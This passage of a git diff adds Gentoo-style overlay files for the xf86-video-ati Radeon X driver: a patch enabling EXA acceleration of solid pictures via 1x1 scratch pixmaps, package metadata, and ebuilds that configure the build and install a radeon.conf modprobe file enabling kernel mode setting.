++		pScreen->DestroyPixmap(pSrc);
++	    RADEON_FALLBACK("Failed to create solid scratch pixmap\n");
++	}
++    }
++
+     RADEONPrepareCompositeCS(op, pSrcPicture, pMaskPicture, pDstPicture,
+ 			     pSrc, pMask, pDst);
+ 
+--
+cgit v0.9.0.2-2-gbebe
diff --git a/x11-drivers/xf86-video-ati/files/xf86-video-ati-6.14.4-exa-solid-accel-r300.patch b/x11-drivers/xf86-video-ati/files/xf86-video-ati-6.14.4-exa-solid-accel-r300.patch
new file mode 100644
index 00000000..819173c5
--- /dev/null
+++ b/x11-drivers/xf86-video-ati/files/xf86-video-ati-6.14.4-exa-solid-accel-r300.patch
@@ -0,0 +1,560 @@
+From d88b9700137ee407c483f263bb55c77cd6f92fef Mon Sep 17 00:00:00 2001
+From: Michel Dänzer <michel.daenzer@amd.com>
+Date: Fri, 13 Apr 2012 07:35:38 +0000
+Subject: EXA: Support acceleration of solid pictures on R3xx-R7xx.
+
+Allocate 1x1 scratch pixmaps to hold the solid picture colours.
+
+Signed-off-by: Michel Dänzer <michel.daenzer@amd.com>
+---
+diff --git a/src/r600_exa.c b/src/r600_exa.c
+index e1eb62f..c3ae553 100644
+--- a/src/r600_exa.c
++++ b/src/r600_exa.c
+@@ -901,17 +901,8 @@ static Bool R600CheckCompositeTexture(PicturePtr pPict,
+ 				      int op,
+ 				      int unit)
+ {
+-    int w = pPict->pDrawable->width;
+-    int h = pPict->pDrawable->height;
+     unsigned int repeatType = pPict->repeat ? pPict->repeatType : RepeatNone;
+     unsigned int i;
+-    int max_tex_w, max_tex_h;
+-
+-    max_tex_w = 8192;
+-    max_tex_h = 8192;
+-
+-    if ((w > max_tex_w) || (h > max_tex_h))
+-	RADEON_FALLBACK(("Picture w/h too large (%dx%d)\n", w, h));
+ 
+     for (i = 0; i < sizeof(R600TexFormats) / sizeof(R600TexFormats[0]); i++) {
+ 	if (R600TexFormats[i].fmt == pPict->format)
+@@ -951,9 +942,7 @@ static Bool R600TextureSetup(PicturePtr pPict, PixmapPtr pPix,
+     ScrnInfoPtr pScrn = xf86Screens[pPix->drawable.pScreen->myNum];
+     RADEONInfoPtr info = RADEONPTR(pScrn);
+     struct radeon_accel_state *accel_state = info->accel_state;
+-    int w = pPict->pDrawable->width;
+-    int h = pPict->pDrawable->height;
+-    unsigned int repeatType = pPict->repeat ? pPict->repeatType : RepeatNone;
++    unsigned int repeatType;
+     unsigned int i;
+     tex_resource_t  tex_res;
+     tex_sampler_t   tex_samp;
+@@ -969,9 +958,16 @@ static Bool R600TextureSetup(PicturePtr pPict, PixmapPtr pPix,
+     }
+ 
+     /* Texture */
++    if (pPict->pDrawable) {
++	tex_res.w               = pPict->pDrawable->width;
++	tex_res.h               = pPict->pDrawable->height;
++	repeatType              = pPict->repeat ? pPict->repeatType : RepeatNone;
++    } else {
++	tex_res.w               = 1;
++	tex_res.h               = 1;
++	repeatType              = RepeatNormal;
++    }
+     tex_res.id                  = unit;
+-    tex_res.w                   = w;
+-    tex_res.h                   = h;
+     tex_res.pitch               = accel_state->src_obj[unit].pitch;
+     tex_res.depth               = 0;
+     tex_res.dim                 = SQ_TEX_DIM_2D;
+@@ -1170,24 +1166,24 @@ static Bool R600TextureSetup(PicturePtr pPict, PixmapPtr pPix,
+ 	vs_alu_consts[0] = xFixedToFloat(pPict->transform->matrix[0][0]);
+ 	vs_alu_consts[1] = xFixedToFloat(pPict->transform->matrix[0][1]);
+ 	vs_alu_consts[2] = xFixedToFloat(pPict->transform->matrix[0][2]);
+-	vs_alu_consts[3] = 1.0 / w;
++	vs_alu_consts[3] = 1.0 / tex_res.w;
+ 
+ 	vs_alu_consts[4] = xFixedToFloat(pPict->transform->matrix[1][0]);
+ 	vs_alu_consts[5] = xFixedToFloat(pPict->transform->matrix[1][1]);
+ 	vs_alu_consts[6] = xFixedToFloat(pPict->transform->matrix[1][2]);
+-	vs_alu_consts[7] = 1.0 / h;
++	vs_alu_consts[7] = 1.0 / tex_res.h;
+     } else {
+ 	accel_state->is_transform[unit] = FALSE;
+ 
+ 	vs_alu_consts[0] = 1.0;
+ 	vs_alu_consts[1] = 0.0;
+ 	vs_alu_consts[2] = 0.0;
+-	vs_alu_consts[3] = 1.0 / w;
++	vs_alu_consts[3] = 1.0 / tex_res.w;
+ 
+ 	vs_alu_consts[4] = 0.0;
+ 	vs_alu_consts[5] = 1.0;
+ 	vs_alu_consts[6] = 0.0;
+-	vs_alu_consts[7] = 1.0 / h;
++	vs_alu_consts[7] = 1.0 / tex_res.h;
+     }
+ 
+     /* VS alu constants */
+@@ -1202,33 +1198,30 @@ static Bool R600CheckComposite(int op, PicturePtr pSrcPicture, PicturePtr pMaskP
+ {
+     uint32_t tmp1;
+     PixmapPtr pSrcPixmap, pDstPixmap;
+-    int max_tex_w, max_tex_h, max_dst_w, max_dst_h;
+ 
+     /* Check for unsupported compositing operations. */
+     if (op >= (int) (sizeof(R600BlendOp) / sizeof(R600BlendOp[0])))
+ 	RADEON_FALLBACK(("Unsupported Composite op 0x%x\n", op));
+ 
+-    if (!pSrcPicture->pDrawable)
+-	RADEON_FALLBACK(("Solid or gradient pictures not supported yet\n"));
+-
+-    pSrcPixmap = RADEONGetDrawablePixmap(pSrcPicture->pDrawable);
++    if (pSrcPicture->pDrawable) {
++	pSrcPixmap = RADEONGetDrawablePixmap(pSrcPicture->pDrawable);
+ 
+-    max_tex_w = 8192;
+-    max_tex_h = 8192;
+-    max_dst_w = 8192;
+-    max_dst_h = 8192;
++	if (pSrcPixmap->drawable.width >= 8192 ||
++	    pSrcPixmap->drawable.height >= 8192) {
++	    RADEON_FALLBACK(("Source w/h too large (%d,%d).\n",
++			     pSrcPixmap->drawable.width,
++			     pSrcPixmap->drawable.height));
++	}
+ 
+-    if (pSrcPixmap->drawable.width >= max_tex_w ||
+-	pSrcPixmap->drawable.height >= max_tex_h) {
+-	RADEON_FALLBACK(("Source w/h too large (%d,%d).\n",
+-			 pSrcPixmap->drawable.width,
+-			 pSrcPixmap->drawable.height));
+-    }
++	if (!R600CheckCompositeTexture(pSrcPicture, pDstPicture, op, 0))
++	    return FALSE;
++    } else if (pSrcPicture->pSourcePict->type != SourcePictTypeSolidFill)
++	RADEON_FALLBACK(("Gradient pictures not supported yet\n"));
+ 
+     pDstPixmap = RADEONGetDrawablePixmap(pDstPicture->pDrawable);
+ 
+-    if (pDstPixmap->drawable.width >= max_dst_w ||
+-	pDstPixmap->drawable.height >= max_dst_h) {
++    if (pDstPixmap->drawable.width >= 8192 ||
++	pDstPixmap->drawable.height >= 8192) {
+ 	RADEON_FALLBACK(("Dest w/h too large (%d,%d).\n",
+ 			 pDstPixmap->drawable.width,
+ 			 pDstPixmap->drawable.height));
+@@ -1237,38 +1230,35 @@ static Bool R600CheckComposite(int op, PicturePtr pSrcPicture, PicturePtr pMaskP
+     if (pMaskPicture) {
+ 	PixmapPtr pMaskPixmap;
+ 
+-	if (!pMaskPicture->pDrawable)
+-	    RADEON_FALLBACK(("Solid or gradient pictures not supported yet\n"));
++	if (pMaskPicture->pDrawable) {
++	    pMaskPixmap = RADEONGetDrawablePixmap(pMaskPicture->pDrawable);
+ 
+-	pMaskPixmap = RADEONGetDrawablePixmap(pMaskPicture->pDrawable);
+-
+-	if (pMaskPixmap->drawable.width >= max_tex_w ||
+-	    pMaskPixmap->drawable.height >= max_tex_h) {
+-	    RADEON_FALLBACK(("Mask w/h too large (%d,%d).\n",
+-			     pMaskPixmap->drawable.width,
+-			     pMaskPixmap->drawable.height));
+-	}
++	    if (pMaskPixmap->drawable.width >= 8192 ||
++		pMaskPixmap->drawable.height >= 8192) {
++	      RADEON_FALLBACK(("Mask w/h too large (%d,%d).\n",
++			       pMaskPixmap->drawable.width,
++			       pMaskPixmap->drawable.height));
++	    }
+ 
+-	if (pMaskPicture->componentAlpha) {
+-	    /* Check if it's component alpha that relies on a source alpha and
+-	     * on the source value.  We can only get one of those into the
+-	     * single source value that we get to blend with.
+-	     */
+-	    if (R600BlendOp[op].src_alpha &&
+-		(R600BlendOp[op].blend_cntl & COLOR_SRCBLEND_mask) !=
+-		(BLEND_ZERO << COLOR_SRCBLEND_shift)) {
+-		RADEON_FALLBACK(("Component alpha not supported with source "
+-				 "alpha and source value blending.\n"));
++	    if (pMaskPicture->componentAlpha) {
++		/* Check if it's component alpha that relies on a source alpha and
++		 * on the source value.  We can only get one of those into the
++		 * single source value that we get to blend with.
++		 */
++		if (R600BlendOp[op].src_alpha &&
++		    (R600BlendOp[op].blend_cntl & COLOR_SRCBLEND_mask) !=
++		    (BLEND_ZERO << COLOR_SRCBLEND_shift)) {
++		    RADEON_FALLBACK(("Component alpha not supported with source "
++				     "alpha and source value blending.\n"));
++		}
+ 	    }
+-	}
+ 
+-	if (!R600CheckCompositeTexture(pMaskPicture, pDstPicture, op, 1))
+-	    return FALSE;
++	    if (!R600CheckCompositeTexture(pMaskPicture, pDstPicture, op, 1))
++		return FALSE;
++	} else if (pMaskPicture->pSourcePict->type != SourcePictTypeSolidFill)
++	    RADEON_FALLBACK(("Gradient pictures not supported yet\n"));
+     }
+ 
+-    if (!R600CheckCompositeTexture(pSrcPicture, pDstPicture, op, 0))
+-	return FALSE;
+-
+     if (!R600GetDestFormat(pDstPicture, &tmp1))
+ 	return FALSE;
+ 
+@@ -1280,7 +1270,8 @@ static Bool R600PrepareComposite(int op, PicturePtr pSrcPicture,
+ 				 PicturePtr pMaskPicture, PicturePtr pDstPicture,
+ 				 PixmapPtr pSrc, PixmapPtr pMask, PixmapPtr pDst)
+ {
+-    ScrnInfoPtr pScrn = xf86Screens[pSrc->drawable.pScreen->myNum];
++    ScreenPtr pScreen = pDst->drawable.pScreen;
++    ScrnInfoPtr pScrn = xf86Screens[pScreen->myNum];
+     RADEONInfoPtr info = RADEONPTR(pScrn);
+     struct radeon_accel_state *accel_state = info->accel_state;
+     uint32_t dst_format;
+@@ -1288,15 +1279,21 @@ static Bool R600PrepareComposite(int op, PicturePtr pSrcPicture,
+     shader_config_t vs_conf, ps_conf;
+     struct r600_accel_object src_obj, mask_obj, dst_obj;
+ 
+-    if (pDst->drawable.bitsPerPixel < 8 || pSrc->drawable.bitsPerPixel < 8)
++    if (pDst->drawable.bitsPerPixel < 8 || (pSrc && pSrc->drawable.bitsPerPixel < 8))
+ 	return FALSE;
+ 
++    if (!pSrc) {
++	pSrc = RADEONSolidPixmap(pScreen, pSrcPicture->pSourcePict->solidFill.color);
++	if (!pSrc)
++	    RADEON_FALLBACK("Failed to create solid scratch pixmap\n");
++    }
++
+ #if defined(XF86DRM_MODE)
+     if (info->cs) {
+ 	src_obj.offset = 0;
+ 	dst_obj.offset = 0;
+-	src_obj.bo = radeon_get_pixmap_bo(pSrc);
+ 	dst_obj.bo = radeon_get_pixmap_bo(pDst);
++	src_obj.bo = radeon_get_pixmap_bo(pSrc);
+ 	dst_obj.tiling_flags = radeon_get_pixmap_tiling(pDst);
+ 	src_obj.tiling_flags = radeon_get_pixmap_tiling(pSrc);
+ 	dst_obj.surface = radeon_get_pixmap_surface(pDst);
+@@ -1322,7 +1319,16 @@ static Bool R600PrepareComposite(int op, PicturePtr pSrcPicture,
+     dst_obj.bpp = pDst->drawable.bitsPerPixel;
+     dst_obj.domain = RADEON_GEM_DOMAIN_VRAM;
+ 
+-    if (pMask) {
++    if (pMaskPicture) {
++	if (!pMask) {
++	    pMask = RADEONSolidPixmap(pScreen, pMaskPicture->pSourcePict->solidFill.color);
++	    if (!pMask) {
++		if (!pSrcPicture->pDrawable)
++		    pScreen->DestroyPixmap(pSrc);
++		RADEON_FALLBACK("Failed to create solid scratch pixmap\n");
++	    }
++	}
++
+ #if defined(XF86DRM_MODE)
+ 	if (info->cs) {
+ 	    mask_obj.offset = 0;
+@@ -1509,11 +1515,9 @@ static Bool R600PrepareComposite(int op, PicturePtr pSrcPicture,
+     return TRUE;
+ }
+ 
+-static void R600DoneComposite(PixmapPtr pDst)
++static void R600FinishComposite(ScrnInfoPtr pScrn, PixmapPtr pDst,
++				struct radeon_accel_state *accel_state)
+ {
+-    ScrnInfoPtr pScrn = xf86Screens[pDst->drawable.pScreen->myNum];
+-    RADEONInfoPtr info = RADEONPTR(pScrn);
+-    struct radeon_accel_state *accel_state = info->accel_state;
+     int vtx_size;
+ 
+     if (accel_state->vsync)
+@@ -1527,6 +1531,22 @@ static void R600DoneComposite(PixmapPtr pDst)
+     r600_finish_op(pScrn, vtx_size);
+ }
+ 
++static void R600DoneComposite(PixmapPtr pDst)
++{
++    ScreenPtr pScreen = pDst->drawable.pScreen;
++    ScrnInfoPtr pScrn = xf86Screens[pScreen->myNum];
++    RADEONInfoPtr info = RADEONPTR(pScrn);
++    struct radeon_accel_state *accel_state = info->accel_state;
++
++    R600FinishComposite(pScrn, pDst, accel_state);
++
++    if (!accel_state->src_pic->pDrawable)
++	pScreen->DestroyPixmap(accel_state->src_pix);
++
++    if (accel_state->msk_pic && !accel_state->msk_pic->pDrawable)
++	pScreen->DestroyPixmap(accel_state->msk_pix);
++}
++
+ static void R600Composite(PixmapPtr pDst,
+ 			  int srcX, int srcY,
+ 			  int maskX, int maskY,
+@@ -1543,7 +1563,7 @@ static void R600Composite(PixmapPtr pDst,
+ 
+ #ifdef XF86DRM_MODE
+     if (info->cs && CS_FULL(info->cs)) {
+-	R600DoneComposite(info->accel_state->dst_pix);
++	R600FinishComposite(pScrn, pDst, info->accel_state);
+ 	radeon_cs_flush_indirect(pScrn);
+ 	R600PrepareComposite(info->accel_state->composite_op,
+ 			     info->accel_state->src_pic,
+diff --git a/src/radeon_exa_render.c b/src/radeon_exa_render.c
+index e5c231f..b6cc9e4 100644
+--- a/src/radeon_exa_render.c
++++ b/src/radeon_exa_render.c
+@@ -299,8 +299,8 @@ static Bool RADEONSetupSourceTile(PicturePtr pPict,
+     if (repeatType == RepeatNormal || repeatType == RepeatReflect) {
+ 	Bool badPitch = needMatchingPitch && !RADEONPitchMatches(pPix);
+ 	
+-	int w = pPict->pDrawable->width;
+-	int h = pPict->pDrawable->height;
++	int w = pPict->pDrawable ? pPict->pDrawable->width : 1;
++	int h = pPict->pDrawable ? pPict->pDrawable->height : 1;
+ 	
+ 	if (pPict->transform) {
+ 	    if (badPitch)
+@@ -1112,23 +1112,8 @@ static Bool R300CheckCompositeTexture(PicturePtr pPict,
+     ScreenPtr pScreen = pDstPict->pDrawable->pScreen;
+     ScrnInfoPtr pScrn = xf86Screens[pScreen->myNum];
+     RADEONInfoPtr info = RADEONPTR(pScrn);
+-
+     unsigned int repeatType = pPict->repeat ? pPict->repeatType : RepeatNone;
+-    int w = pPict->pDrawable->width;
+-    int h = pPict->pDrawable->height;
+     int i;
+-    int max_tex_w, max_tex_h;
+-
+-    if (is_r500) {
+-	max_tex_w = 4096;
+-	max_tex_h = 4096;
+-    } else {
+-	max_tex_w = 2048;
+-	max_tex_h = 2048;
+-    }
+-
+-    if ((w > max_tex_w) || (h > max_tex_h))
+-	RADEON_FALLBACK(("Picture w/h too large (%dx%d)\n", w, h));
+ 
+     for (i = 0; i < sizeof(R300TexFormats) / sizeof(R300TexFormats[0]); i++)
+     {
+@@ -1139,7 +1124,7 @@ static Bool R300CheckCompositeTexture(PicturePtr pPict,
+ 	RADEON_FALLBACK(("Unsupported picture format 0x%x\n",
+ 			 (int)pPict->format));
+ 
+-    if (!RADEONCheckTexturePOT(pPict, unit == 0)) {
++    if (pPict->pDrawable && !RADEONCheckTexturePOT(pPict, unit == 0)) {
+ 	if (info->cs) {
+     		struct radeon_exa_pixmap_priv *driver_priv;
+ 		PixmapPtr pPix;
+@@ -1181,15 +1166,23 @@ static Bool FUNC_NAME(R300TextureSetup)(PicturePtr pPict, PixmapPtr pPix,
+ {
+     RINFO_FROM_SCREEN(pPix->drawable.pScreen);
+     uint32_t txfilter, txformat0, txformat1, txoffset, txpitch, us_format = 0;
+-    int w = pPict->pDrawable->width;
+-    int h = pPict->pDrawable->height;
++    int w, h;
+     int i, pixel_shift, out_size = 6;
+-    unsigned int repeatType = pPict->repeat ? pPict->repeatType : RepeatNone;
++    unsigned int repeatType;
+     struct radeon_exa_pixmap_priv *driver_priv;
+     ACCEL_PREAMBLE();
+ 
+     TRACE;
+ 
++    if (pPict->pDrawable) {
++	w = pPict->pDrawable->width;
++	h = pPict->pDrawable->height;
++	repeatType = pPict->repeat ? pPict->repeatType : RepeatNone;
++    } else {
++	w = h = 1;
++	repeatType = RepeatNormal;
++    }
++
+     txpitch = exaGetPixmapPitch(pPix);
+     txoffset = 0;
+ 
+@@ -1394,11 +1387,6 @@ static Bool R300CheckComposite(int op, PicturePtr pSrcPicture, PicturePtr pMaskP
+     if (op >= sizeof(RadeonBlendOp) / sizeof(RadeonBlendOp[0]))
+ 	RADEON_FALLBACK(("Unsupported Composite op 0x%x\n", op));
+ 
+-    if (!pSrcPicture->pDrawable)
+-	RADEON_FALLBACK(("Solid or gradient pictures not supported yet\n"));
+-
+-    pSrcPixmap = RADEONGetDrawablePixmap(pSrcPicture->pDrawable);
+-
+     if (IS_R500_3D) {
+ 	max_tex_w = 4096;
+ 	max_tex_h = 4096;
+@@ -1416,13 +1404,6 @@ static Bool R300CheckComposite(int op, PicturePtr pSrcPicture, PicturePtr pMaskP
+ 	}
+     }
+ 
+-    if (pSrcPixmap->drawable.width > max_tex_w ||
+-	pSrcPixmap->drawable.height > max_tex_h) {
+-	RADEON_FALLBACK(("Source w/h too large (%d,%d).\n",
+-			 pSrcPixmap->drawable.width,
+-			 pSrcPixmap->drawable.height));
+-    }
+-
+     pDstPixmap = RADEONGetDrawablePixmap(pDstPicture->pDrawable);
+ 
+     if (pDstPixmap->drawable.width > max_dst_w ||
+@@ -1432,20 +1413,32 @@ static Bool R300CheckComposite(int op, PicturePtr pSrcPicture, PicturePtr pMaskP
+ 			 pDstPixmap->drawable.height));
+     }
+ 
++    if (pSrcPicture->pDrawable) {
++	pSrcPixmap = RADEONGetDrawablePixmap(pSrcPicture->pDrawable);
++
++	if (pSrcPixmap->drawable.width > max_tex_w ||
++	    pSrcPixmap->drawable.height > max_tex_h) {
++	    RADEON_FALLBACK(("Source w/h too large (%d,%d).\n",
++			     pSrcPixmap->drawable.width,
++			     pSrcPixmap->drawable.height));
++	}
++    } else if (pSrcPicture->pSourcePict->type != SourcePictTypeSolidFill)
++	RADEON_FALLBACK(("Gradient pictures not supported yet\n"));
++
+     if (pMaskPicture) {
+ 	PixmapPtr pMaskPixmap;
+ 
+-	if (!pMaskPicture->pDrawable)
+-	    RADEON_FALLBACK(("Solid or gradient pictures not supported yet\n"));
++	if (pMaskPicture->pDrawable) {
++	    pMaskPixmap = RADEONGetDrawablePixmap(pMaskPicture->pDrawable);
+ 
+-	pMaskPixmap = RADEONGetDrawablePixmap(pMaskPicture->pDrawable);
+-
+-	if (pMaskPixmap->drawable.width > max_tex_w ||
+-	    pMaskPixmap->drawable.height > max_tex_h) {
+-	    RADEON_FALLBACK(("Mask w/h too large (%d,%d).\n",
+-			     pMaskPixmap->drawable.width,
+-			     pMaskPixmap->drawable.height));
+-	}
++	    if (pMaskPixmap->drawable.width > max_tex_w ||
++		pMaskPixmap->drawable.height > max_tex_h) {
++	      RADEON_FALLBACK(("Mask w/h too large (%d,%d).\n",
++			       pMaskPixmap->drawable.width,
++			       pMaskPixmap->drawable.height));
++	    }
++	} else if (pMaskPicture->pSourcePict->type != SourcePictTypeSolidFill)
++	    RADEON_FALLBACK(("Gradient pictures not supported yet\n"));
+ 
+ 	if (pMaskPicture->componentAlpha) {
+ 	    /* Check if it's component alpha that relies on a source alpha and
+@@ -1479,7 +1472,8 @@ static Bool FUNC_NAME(R300PrepareComposite)(int op, PicturePtr pSrcPicture,
+ 				PicturePtr pMaskPicture, PicturePtr pDstPicture,
+ 				PixmapPtr pSrc, PixmapPtr pMask, PixmapPtr pDst)
+ {
+-    RINFO_FROM_SCREEN(pDst->drawable.pScreen);
++    ScreenPtr pScreen = pDst->drawable.pScreen;
++    RINFO_FROM_SCREEN(pScreen);
+     uint32_t dst_format, dst_pitch;
+     uint32_t txenable, colorpitch;
+     uint32_t blendcntl, output_fmt;
+@@ -1508,9 +1502,24 @@ static Bool FUNC_NAME(R300PrepareComposite)(int op, PicturePtr pSrcPicture,
+     if (((dst_pitch >> pixel_shift) & 0x7) != 0)
+ 	RADEON_FALLBACK(("Bad destination pitch 0x%x\n", (int)dst_pitch));
+ 
++    if (!pSrc) {
++	pSrc = RADEONSolidPixmap(pScreen, cpu_to_le32(pSrcPicture->pSourcePict->solidFill.color));
++	if (!pSrc)
++	    RADEON_FALLBACK("Failed to create solid scratch pixmap\n");
++    }
++
+     if (!RADEONSetupSourceTile(pSrcPicture, pSrc, TRUE, FALSE))
+ 	return FALSE;
+ 
++    if (pMaskPicture && !pMask) {
++	pMask = RADEONSolidPixmap(pScreen, cpu_to_le32(pMaskPicture->pSourcePict->solidFill.color));
++	if (!pMask) {
++	    if (!pSrcPicture->pDrawable)
++		pScreen->DestroyPixmap(pSrc);
++	    RADEON_FALLBACK("Failed to create solid scratch pixmap\n");
++	}
++    }
++
+     RADEONPrepareCompositeCS(op, pSrcPicture, pMaskPicture, pDstPicture,
+ 			     pSrc, pMask, pDst);
+ 
+@@ -2132,7 +2141,7 @@ static Bool FUNC_NAME(R300PrepareComposite)(int op, PicturePtr pSrcPicture,
+     return TRUE;
+ }
+ 
+-static void FUNC_NAME(RadeonDoneComposite)(PixmapPtr pDst)
++static void FUNC_NAME(RadeonFinishComposite)(PixmapPtr pDst)
+ {
+     RINFO_FROM_SCREEN(pDst->drawable.pScreen);
+     ACCEL_PREAMBLE();
+@@ -2179,6 +2188,20 @@ static void FUNC_NAME(RadeonDoneComposite)(PixmapPtr pDst)
+     LEAVE_DRAW(0);
+ }
+ 
++static void FUNC_NAME(RadeonDoneComposite)(PixmapPtr pDst)
++{
++    ScreenPtr pScreen = pDst->drawable.pScreen;
++    RINFO_FROM_SCREEN(pScreen);
++    struct radeon_accel_state *accel_state = info->accel_state;
++
++    FUNC_NAME(RadeonFinishComposite)(pDst);
++
++    if (!accel_state->src_pic->pDrawable)
++	pScreen->DestroyPixmap(accel_state->src_pix);
++
++    if (accel_state->msk_pic && !accel_state->msk_pic->pDrawable)
++	pScreen->DestroyPixmap(accel_state->msk_pix);
++}
+ 
+ #ifdef ACCEL_CP
+ 
+@@ -2257,7 +2280,7 @@ static void FUNC_NAME(RadeonCompositeTile)(ScrnInfoPtr pScrn,
+     if ((info->cs && CS_FULL(info->cs)) ||
+ 	(!info->cs && (info->cp->indirectBuffer->used + 4 * 32) >
+ 	 info->cp->indirectBuffer->total)) {
+-	FUNC_NAME(RadeonDoneComposite)(info->accel_state->dst_pix);
++	FUNC_NAME(RadeonFinishComposite)(info->accel_state->dst_pix);
+ 	if (info->cs)
+ 	    radeon_cs_flush_indirect(pScrn);
+ 	else
+diff --git a/src/radeon_exa_shared.c b/src/radeon_exa_shared.c
+index be1d2fa..28dc335 100644
+--- a/src/radeon_exa_shared.c
++++ b/src/radeon_exa_shared.c
+@@ -126,6 +126,25 @@ Bool RADEONCheckBPP(int bpp)
+ 	return FALSE;
+ }
+ 
++PixmapPtr RADEONSolidPixmap(ScreenPtr pScreen, uint32_t solid)
++{
++    PixmapPtr pPix = pScreen->CreatePixmap(pScreen, 1, 1, 32, 0);
++    struct radeon_bo *bo;
++
++    exaMoveInPixmap(pPix);
++    bo = radeon_get_pixmap_bo(pPix);
++
++    if (radeon_bo_map(bo, 1)) {
++	pScreen->DestroyPixmap(pPix);
++	return NULL;
++    }
++
++    memcpy(bo->ptr, &solid, 4);
++    radeon_bo_unmap(bo);
++
++    return pPix;
++}
++
+ static Bool radeon_vb_get(ScrnInfoPtr pScrn)
+ {
+     RADEONInfoPtr info = RADEONPTR(pScrn);
+diff --git a/src/radeon_exa_shared.h b/src/radeon_exa_shared.h
+index 7b8b5ca..60a1045 100644
+--- a/src/radeon_exa_shared.h
++++ b/src/radeon_exa_shared.h
+@@ -40,6 +40,7 @@ extern void RADEONVlineHelperClear(ScrnInfoPtr pScrn);
+ extern void RADEONVlineHelperSet(ScrnInfoPtr pScrn, int x1, int y1, int x2, int y2);
+ extern Bool RADEONValidPM(uint32_t pm, int bpp);
+ extern Bool RADEONCheckBPP(int bpp);
++extern PixmapPtr RADEONSolidPixmap(ScreenPtr pScreen, uint32_t solid);
+ 
+ #define RADEON_TRACE_FALL 0
+ #define RADEON_TRACE_DRAW 0
+--
+cgit v0.9.0.2-2-gbebe
diff --git a/x11-drivers/xf86-video-ati/metadata.xml b/x11-drivers/xf86-video-ati/metadata.xml
new file mode 100644
index 00000000..01c4c004
--- /dev/null
+++ b/x11-drivers/xf86-video-ati/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>x11</herd>
+</pkgmetadata>
diff --git a/x11-drivers/xf86-video-ati/xf86-video-ati-6.14.4-r1.ebuild b/x11-drivers/xf86-video-ati/xf86-video-ati-6.14.4-r1.ebuild
new file mode 100644
index 00000000..9ab51577
--- /dev/null
+++ b/x11-drivers/xf86-video-ati/xf86-video-ati-6.14.4-r1.ebuild
@@ -0,0 +1,46 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/x11-drivers/xf86-video-ati/xf86-video-ati-6.14.4-r1.ebuild,v 1.8 2012/07/12 17:31:31 ranger Exp $
+
+EAPI=4
+
+XORG_DRI=always
+inherit xorg-2
+
+DESCRIPTION="ATI video driver"
+
+KEYWORDS="~alpha amd64 ~ia64 ppc ppc64 ~sparc x86 ~amd64-fbsd ~x86-fbsd"
+IUSE=""
+
+RDEPEND=">=x11-libs/libdrm-2.4.33[video_cards_radeon]"
+DEPEND="${RDEPEND}"
+
+PATCHES=(
+	"${FILESDIR}"/${PN}-6.14.4-exa-solid-accel-r300.patch
+	"${FILESDIR}"/${PN}-6.14.4-exa-solid-accel-evergreen.patch
+	"${FILESDIR}"/${PN}-6.14.4-exa-solid-accel-r100.patch
+	"${FILESDIR}"/${PN}-6.14.4-exa-solid-accel-r200.patch
+)
+
+pkg_setup() {
+	xorg-2_pkg_setup
+	XORG_CONFIGURE_OPTIONS=(
+		--enable-dri
+		--enable-kms
+		--enable-exa
+	)
+}
+
+src_install() {
+	xorg-2_src_install
+
+	# install a modprobe.d file to make sure that KMS
+	# is enabled for the radeon kernel driver
+	# if this package is installed. KMS is now mandatory
+	# but current Sabayon kernels have it disabled to
+	# allow fglrx to work
+	dodir /etc/modprobe.d
+	echo "options radeon modeset=1" > radeon.conf
+	insinto /etc/modprobe.d
+	doins radeon.conf
+}
diff --git a/x11-drivers/xf86-video-ati/xf86-video-ati-6.14.6-r1.ebuild b/x11-drivers/xf86-video-ati/xf86-video-ati-6.14.6-r1.ebuild
new file mode 100644
index 00000000..8d82ae96
--- /dev/null
+++ b/x11-drivers/xf86-video-ati/xf86-video-ati-6.14.6-r1.ebuild
@@ -0,0 +1,43 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+XORG_DRI=always
+XORG_EAUTORECONF=yes
+inherit xorg-2
+
+DESCRIPTION="ATI video driver"
+
+KEYWORDS="~alpha ~amd64 ~ia64 ~ppc ~ppc64 ~sparc ~x86 ~amd64-fbsd ~x86-fbsd"
+IUSE=""
+
+RDEPEND=">=x11-libs/libdrm-2.4.36[video_cards_radeon]"
+DEPEND="${RDEPEND}"
+
+src_prepare() {
+	# disable XAA to allow building against >=xorg-server-1.12.99.902, bug #428094
+	sed -i '/USE_XAA, 1/d' configure.ac || die
+	xorg-2_src_prepare
+}
+
+pkg_setup() {
+	xorg-2_pkg_setup
+	XORG_CONFIGURE_OPTIONS=(
+		--enable-dri
+		--enable-kms
+		--enable-exa
+	)
+}
+
+pkg_preinst() {
+	# "untrack" radeon.conf, starting from kernel 3.6, this is
+	# no longer needed. However, we don't want to break the current
+	# status-quo.
+	cp "${EROOT}/etc/modprobe.d/"{radeon.conf,radeon.conf.untracked} || die
+}
+
+pkg_postinst() {
+	mv "${EROOT}/etc/modprobe.d/"{radeon.conf.untracked,radeon.conf} || die
+}
diff --git a/x11-drivers/xf86-video-ati/xf86-video-ati-7.0.0.ebuild b/x11-drivers/xf86-video-ati/xf86-video-ati-7.0.0.ebuild
new file mode 100644
index 00000000..cf517c11
--- /dev/null
+++ b/x11-drivers/xf86-video-ati/xf86-video-ati-7.0.0.ebuild
@@ -0,0 +1,37 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+XORG_DRI=always
+inherit xorg-2
+
+DESCRIPTION="ATI video driver"
+
+KEYWORDS="~alpha amd64 ~ia64 ~ppc ~ppc64 ~sparc x86"
+IUSE="glamor udev"
+
+RDEPEND=">=x11-libs/libdrm-2.4.36[video_cards_radeon]
+	glamor? ( x11-libs/glamor )
+	udev? ( sys-fs/udev )"
+DEPEND="${RDEPEND}"
+
+src_configure() {
+	XORG_CONFIGURE_OPTIONS=(
+		$(use_enable glamor)
+		$(use_enable udev)
+	)
+	xorg-2_src_configure
+}
+
+pkg_preinst() {
+	# "untrack" radeon.conf, starting from kernel 3.6, this is
+	# no longer needed. However, we don't want to break the current
+	# status-quo.
+	cp "${EROOT}/etc/modprobe.d/"{radeon.conf,radeon.conf.untracked} || die
+}
+
+pkg_postinst() {
+	mv "${EROOT}/etc/modprobe.d/"{radeon.conf.untracked,radeon.conf} || die
